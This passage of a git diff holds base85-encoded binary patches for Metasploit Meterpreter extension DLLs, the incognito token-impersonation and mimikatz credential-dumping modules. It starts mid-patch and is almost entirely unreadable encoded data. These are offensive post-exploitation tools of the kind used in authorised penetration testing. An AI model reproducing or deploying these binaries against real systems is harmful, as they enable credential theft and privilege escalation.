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 Bw!Q!W diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 830a83fb8c9e2dc416459c412aaa2bff3f6c793b..52b2676601a44555d00890e6283d4c7ec62066da 100755 GIT binary patch delta 7568 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 diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index a62edf68dc81c9304e50b58864edee704cdc0f73..22cd2d05b5bc643c677796b6681ac0ac3e44ae0b 100755 GIT binary patch delta 54513 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 